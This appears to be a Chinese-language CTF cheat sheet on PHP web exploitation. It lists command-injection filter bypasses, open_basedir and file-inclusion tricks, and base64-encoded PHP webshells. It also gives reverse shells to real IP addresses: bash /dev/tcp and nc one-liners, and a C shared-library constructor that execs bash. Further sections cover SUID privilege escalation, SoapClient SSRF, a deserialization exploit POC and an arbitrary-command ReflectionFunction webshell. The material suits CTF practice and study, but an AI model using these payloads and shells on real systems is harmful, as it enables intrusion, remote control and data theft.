**系统命令执行函数:**exec,shell_exec,system,passthru,``,pcntl_exec

​ exec,shell_exec不直接显示,system,passthru直接显示,``等同于shell_exec,pcntl_exec运行完命令后程序直接暂停

1
pcntl_exec("/usr/bin/ls");//第一个参数要是可z
命令 说明
cat 直接输出文件内容
tac 反向输出文件内容
nl 输出内容并显示行号
head 显示文件头几行
tail 显示文件尾几行
less 分页查看文件内容
more 分屏查看文件内容
rev 反转字符串或反转每一行内容
说明 命令
文本处理,可用来显示文件选定部分 sed
文本提取与格式化 awk
搜索并输出匹配行 grep
显示二进制文件中的可打印字符串 strings
以十六进制方式查看内容 xxd
对文件进行 base64 编码输出 base64

fuzz白名单脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string
import urllib3

# 禁用 SSL 警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://46da7062-1fbd-4405-a712-dc0944660da2.challenge.ctf.show/"

list = string.ascii_letters+string.digits+"$+-}{_><:?*.~/\\ "

white_list = ""

for payload in list:
data = {
"code": payload
}

# 添加 verify=False 跳过 SSL 验证
res = requests.post(url, data=data, verify=False)

if "evil input" not in res.text:
print(payload, end=" ")
white_list += payload

print()
print(white_list.replace(" ","空格"))

绕过:

可以用”;“分割命令

空格绕过:${IFS},$IFS$9,%09,<>,<,%20,{cat,fl*},+

​ 如果过滤中有%,对%09是不影响的

无回显绕过:>,tee,>>

**定义变量绕过:**如ip=;a=g;tac fla$a.php

关键字绕过:‘’,*,?,””

​ ‘’(单引号)隔开,如fla’’g

括号绕过:``

分号绕过:?>

标签绕过:<?= ?>

**环境变量绕过:**在Linux下环境变量PATH一般是/bin,题目路径PWD/var/www/html

​ 查看echo $SHLVL,$PWD,$USER,$PATH,$HOME

用下面得到的字母组成命令,例:${PATH:~A}${PWD:~A} 为nl

$PWD和${PWD} 表示当前所在的目录 /var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD::1} 等价${PWD:0:1}
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1
${USER} www-data
${#SHLVL},${SHLVL:~A} 1
${SHLVL} 2 输出shell的层数,实际为准
${#IFS} 4
${PWD:${#}:${##}} /
${#} 0
${#RANDOM} ${RANDOM}生成0~32767整数,因此${#RANDOM}生成0~5整数,多试几次
$? 上一条命令返回值
1
2
3
4
5
6
7
8
$PWD和${PWD}    表示当前所在的目录 /var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1
${SHLVL:~A} 1 代表数字1

**数字绕过: **$(())=0 $((~ $(()) ))=-1 //$((~ $(()) ))$((~ $(()) )) 等同 -1-1 = -2

1
2
3
4
print('$((~$((',end='')
for i in range(37): #要取反负多少就写多少,这里取反-37,整个程序输出后代表36
print('$((~$(())))',end='')
print('))))') #输出后的字符串可以echo测试看看是不是想要的

open_basedir绕过:

1
2
3
4
$a = opendir("glob:///*"); // 打开根目录,并将目录句柄赋值给$a
while (($file = readdir($a)) !== false) { // 循环读取目录中的每个条目
echo $file . "<br>"; // 输出每个条目的名称,并添加HTML换行标签
};
1
2
3
4
5
6
<?php $f=new DirectoryIterator("glob:///*");
foreach($f as $a)
{
echo($a->__toString().'');
}
exit();?>
1
2
3
4
5
6
$a=new PDO("mysql:localhost;dbname=information_schema","root","root");    // 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
foreach($a->query('select load_file("/flag36.txt")') as $f) //query执行SQL语句,返回结果集
{
echo $f[0];
}
exit();
1
2
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$ffi->system("cat flag");//通过$ffi去调用system函数

**缓冲区绕过:**exit 下面都会清空缓冲区的内容,我们只需要在清空前退出即可

函数名 作用(简洁描述)
ob_clean() 清空缓冲区内容,但不关闭缓冲区。
ob_end_clean() 清空缓冲区内容,并关闭缓冲区。
ob_get_clean() 获取缓冲区内容,然后清空并关闭缓冲区。
ob_flush() 将缓冲区内容发送到浏览器(输出),然后清空缓冲区但不关闭。
ob_end_flush() 输出缓冲区内容到浏览器并关闭缓冲区。

无字母绕过:?,~,|,&,^

​ ~,|,&,^只在eval函数能被解析为php运算符进行绕过

​ /???/???/????64 ????.??? 可以为 /usr/bin/base64 flag.php

​ /???/????64 ????.??? 可以为 /bin/base64 flag.php

​ /???/???/????2 ????.??? 可以为 /usr/bin/bzip2 flag.php

​ 压缩后得到.bz2文件在当前目录为flag.php.bz2访问直接下载,打开查看内容

命令调用: //一般在/usr/bin和/bin

/usr/bin/base64 /bin/base64 /usr/bin/bzip2
/usr/bin/cat /usr/bin/tac
/usr/bin/tar /usr/bin/rev

无参绕过: 打印函数:print_r,var_dump,var_export,echo

​ print_r只能打印数组 echo(scandir“/“)输出指定索引文件

​ echo implode(‘,’, scandir(‘/‘))输出以”,“分割的根目录文件名

​ 获取目录:scandir scandir(getcwd())扫描当前目录文件

​ getcwd返回当前目录路径

1
2
3
4
5
6
7
8
scandir指定目录,返回数组
//一般从第三个开始是文件,无论scandir那个目录前两个元素一定是‘.’和‘..’,类似
Array(
[0] => .
[1] => ..
[2] => index.php
[3] => flag.php
)

​ 获取点号:pos(localeconv()) 等价”.”

​ scandir(pos(localeconv()))扫描当前目录

​ scandir(pos(localeconv()).pos(localeconv()))扫描父目录 字符串拼接”.” . “.” = “..”

​ 分割符:DIRECTORY_SEPARATOR

​ scandir(DIRECTORY_SEPARATOR) 扫描根目录 “/“ . “.” = “/.”

数组操作 说明
pos 返回数组中的当前元素的值
current 返回数组中的当前元素的值
end 将内部指针指向数组中的最后一个元素,并输出
next 将内部指针指向数组中的下一个元素,并输出
prev 将内部指针指向数组中的上一个元素,并输出
reset 将内部指针指向数组中的第一个元素,并输出
array_reverse 翻转数组,例如 [1,2,3,4] ⇒ [4,3,2,1]
get_defined_vars 返回由所有已定义变量所组成的数组
implode 将数组元素连接成一个字符串,echo implode(分隔符, 数组)

**编码绕过:**base64_decode

create_function绕过

1
2
3
4
5
6
7
8
9
10
create_function在底层执行了类似eval的命令,语法:create_function(string $args, string $code)
args为参数,code为内部代码
function __lambda_func($args) {
// $code
}
这只是创造而已,但我们传入b的值,会让代码变成
function __lambda_func($args) {
}system('cat /flag');/*
}
直接逃逸到了外面,执行了命令

chr绕过

1
2
chr //将ascii码转为字符,可以结合.绕过
例:var_dump(scandir(chr(47))):扫描根目录并输出所以文件名

文件包含漏洞:

**文件包含函数:**include,require,include_once,require_once

1
2
3
4
5
6
7
语法:include "filename";或include("filename");
关键字绕过:include‘/f’.'lag';
后缀绕过:如过滤.php:include'flag.php/'

可以include$_GET['pass'];或include$_GET[a];制造文件包含漏洞,再php伪协议读取文件

include$_GET[a];等价于include$_GET[‘a’];

文件读取函数:

readfile readgzfile file_get_contents file
show_source highlight_file include require
include_once require_once

include,require,include_once,require_once只能输出非php文件

**文件操作:**fopen,fread

临时文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="https://f2e784c4-30fe-44c3-8517-350521ba06e6.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

随便上传一个文件在文件上传的过程抓包,把文件改成shell脚本,再同时去运行这个脚本,脚本在临时文件的地方(/tmp/php加6个随机的小写字母或者数字),如/???/????????[@-]] 为/tmp/php??????,[@-]]是为了只匹配临时文件名最后一个字母为大写字母的

文件要有可执行权限和有shebang(如/bin/sh)才能被系统命令执行函数执行(最好是.sh文件)

1
2
#!/bin/sh
cat flag.php

[图片缺失] 原始路径:/home/hack/Pictures/Screenshots/Screenshot From 2025-11-16 20-38-26.png

php伪协议:

php://filter/read=convert.base64-encode/resource=index.php

php://filter/write=convert.base64-decode/resource=shell.php //很多时候写入文件的时可以利用php://filter写入php语句

1
2
3
4
例: $v3="php://filter/write=convert.base64-decode/resource=shell.php";
$str="PD9waHAgZXZhbCgkX0dFVFsncGFzcyddOz8+"//<?php eval($_GET['pass'];?>
file_put_contents($v3,$str);//将一句话木马写入shell.php

data://text/plain,<?php phpinfo();?>

data://text/base64,PD9waHAgcGhwaW5mbygpOz8+ <?php phpinfo();?>

php://input(将post请求的数据当作php代码执行)

glob:// glob://<路径/通配符表达式> 无视open_basedir

反弹SHELL

1
2
bash -i >&  /dev/tcp/101.37.210.236/2333 0>&1
nc 101.37.210.236 2333 -e /bin/ba
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
char *server_ip = "120.46.41.173";
uint32_t server_port = 9023;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if (connect(sock, (struct sockaddr *)&attacker_addr, sizeof(attacker_addr)) != 0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}

SUID提权

查找SUID文件: find / -perm -u=s -type f 2>/dev/null

​ find / -perm -4000 -type f 2>/dev/null

**查看进程:**ps -ef

find命令执行: find anyfile -exec <command> ;

sudo -s

环境变量劫持

PATH:PATH 是命令搜索顺序

1
2
3
4
export PATH=/tmp/:/usr/bin/  #将会先在/tmp目录在命令,没有在到/usr/bin目录


Linux执行脚本时如果内容是/bin/bash,等价exec /bin/bash

屏蔽语句

||:前面命令能执行,后面就不会执行了

%0a:换行符,将命令分开各执行各的

原生类

Error

php7,可以自定义一个错误类,Error 类的 __toString() 会包含当前错误的堆栈信息,并且格式化为字符串,常被用来打xss

1
2
$a=new Error("<script>alert(1)</script>")
echo $a;
1
2
3
4
5
6
7
8
9
__wakeup() 或 __destruct() 中触发类型错误
class Test {
public $callback;
public function __destruct() {
// 如果 $callback 被反序列化为非函数类型(比如一个数组)
// 在执行调用时会抛出 TypeError
($this->callback)();
}
}

特性

定义Error对象时也可以设置不同错误码,但是返回结果一样,根据这个特性可以绕过一些hash

1
2
3
4
5
6
<?php
$a = new Error("payload",1);
$b = new Error("payload",2);
echo $a;
echo '<br>';
echo $b;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[2020 极客大挑战] Greatphp :
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

这个题目把两个成员变量分别设置成ErrorException对象就行了

因为md5和sha1函数只接受字符串,所以会触发__toString魔术方法,这时候的错误返回结果是一样的即可绕过

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}
$cmd = '/flag';
$s = urlencode(~$cmd);
$str = "?><?=include~".urldecode($s)."?>";
echo $str;

$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

Exception

php5,php7,所有异常的基类,Error和Exception的__toString魔术方法的使用和结果几乎一样

SoapClient

PHP 的内置类 SoapClient 是一个专门用来访问 Web 服务的类,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端

内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中

要求php.ini文件启用了extension=soap

构造函数

1
2
3
4
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])

第一个参数是用来指明是否是 wsdl 模式,将该值设为 null 则表示非 wsdl 模式。
第二个参数为一个数组,如果在 wsdl 模式下,此参数可选;如果在非 wsdl 模式下,则必须设置 location 和 uri 选项,其中 location 是要将请求发送到的 SOAP 服务器的 URL,而 uri 是 SOAP 服务的目标命名空间。

如果存在CRLF漏洞还可以执行http请求包

1
2
3
4
5
6
7
8
<?php

$target = 'http://101.37.210.236:2333/';
$a = new SoapClient(null, ['location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test']);
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf

服务器接收请求

1
2
3
4
5
6
7
8
9
10
11
POST / HTTP/1.1
Host: 101.37.210.236:2333
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
Content-Type: text/xml; charset=utf-8
SOAPAction: "test#a"
Content-Length: 365

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="test" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>

DirectoryIterator

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。翻译过来就是文件枚举迭代器

DirectoryIterator 与 glob:// 协议结合将无视 open_basedir 对目录的限制,可以用来列举出指定目录下的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$dir = $_GET['file'];
$a = new DirectoryIterator($dir);
foreach ($a as $f) {
echo($f->__toString() . '<br>');
}
?>

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

- DirectoryIterator("/") = 遍历真实目录
- DirectoryIterator("glob:///*") = 遍历 glob('/*') 的匹配结果

new DirectoryIterator("glob:///var/*/*.php"); //模式筛选
1
同样效果的还有 FilesystemIterator 类与 GlobIterator

SimpleXMLElement

通过设置第三个参数 data_is_url 为 true,我们可以实现远程 xml 文件的载入。第二个参数的常量值我们设置为 2 即可。第一个参数 data 就是我们自己设置的 payload 的 url 地址,即用于引入的外部实体的 url。

1
new SimpleXMLElement("http://xxx/test.xml",2,true);

ZipArchive

ZipArchive 类是 PHP 的一个原生类,它是在 PHP 5.2.0 之后引入的。ZipArchive 类可以对文件进行压缩与解压缩处理,我们可以利用这个类删除文件

常用方法

1
2
3
4
5
6
7
8
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭 ZipArchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0) 代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

ZipArchive::open方法有两个参数

1
2
3
4
5
6
7
8
ZipArchive::open ( string $filename [, int $flags ] ) : mixed
$filename:要打开的 ZIP 存档的文件名。
$flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个 zip 压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

如果设置 flags 参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到 const OVERWRITE = 8,也就是将 OVERWRITE 定义为了常量8,我们在调用时也可以直接将 $flags 赋值为8

1
2
3
4
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
public $username;
public $password;
public $choice;
public $register;

public $file;
public $filename;
public $content;

public function __construct()
{
$this->username='user';
$this->password='user';
}

public function __wakeup(){
if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){ // admin
$this->choice=new login($this->file,$this->filename,$this->content);
}else{
$this->choice = new register();
}
}
public function __destruct() {
$this->choice->checking($this->username,$this->password);
}

}
class login{
public $file;
public $filename;
public $content;

public function __construct($file,$filename,$content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
$this->file->open($this->filename,$this->content);
die('login success you can to open shell file!');
}
}
}
class register{
public function checking($username,$password)
{
if($username==='admin'&&$password==='admin'){
die('success register admin');
}else{
die('please register admin ');
}
}
}
class Open{
function open($filename, $content){
if(!file_get_contents('waf.txt')){ // 当waf.txt没读取成功时才能得到flag
shell($content);
}else{
echo file_get_contents($filename.".php"); // filename=php://filter/read=convert.base64-encode/resource=shell
}
}
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
@unserialize(base64_decode($_POST['unser']));
}

SplFileObject

SplFileObject 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
读文件的一行内容
<?php
$context = new SplFileObject('/Drunkbaby.txt');
echo $context;

想读完可以遍历
<?php
$context = new SplFileObject('Drunkbaby.txt');
foreach($context as $f){
echo($f);
}

也可以用fpassthru方法,可以输出文件指针之后的内容全部输出
<?php

$context = new SplFileObject('/flag');
$context -> fpassthru();

反射类Reflection

ReflectionMethod

ReflectionMethod 类报告了一个方法的有关信息。ReflectionMethod 类中有很多继承方法可以使用,比如这个 getDocComment() 方法,我们可以用它来获取类中各个函数注释内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class FlagIsHere
{
/**
* 这是测试方法
* flag{success}
* @return int
*/
protected function GiveMeFlag()
{
return 9999;
}
}

$ref = new ReflectionMethod('FlagIsHere','GiveMeFlag');
var_dump($ref->getDocComment());

ReflectionClass

ReflectionClass 类报告了一个类的有关信息。其中初始化方法能够返回类的实例,可以使用ReflectionClass类读取类的属性和方法名

1
2
3
4
5
6
7
8
9
<?php

class Flag
{
public $flag = 'flag{test}';
}

$a = new ReflectionClass('Flag');
echo $a;

ReflectionFunction

ReflectionFunction 类报告了一个函数的有关信息。其中invokeArgs()方法能够用来写Webshell。

1
public ReflectionFunction::invokeArgs(array $args): mixed
1
2
3
4
5
6
7
8
9
10
11
12
<?php
function title($title, $name)
{
return sprintf("%s. %s\r\n", $title, $name);
}

$function = new ReflectionFunction('title');

echo $function->invokeArgs(array('Dr', 'Phil'));
?>

输出:Dr. Phil

下面这种可以执行任意命令

1
2
3
4
5
6
7
<?php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
?>

?m=system&c=ls
写马echo PD9waHAgQGV2YWwoJF9HRVRbMV0pOz8+Cg== | base64 -d > shell.php

CachingIterator:此对象支持在另一个迭代器上进行缓存迭代

ReflectionClass:反射类

echo new Exception(system(‘ls’) )
echo new ReflectionClass(system(‘ls’))
echo new CachingIterator(system(‘ls’))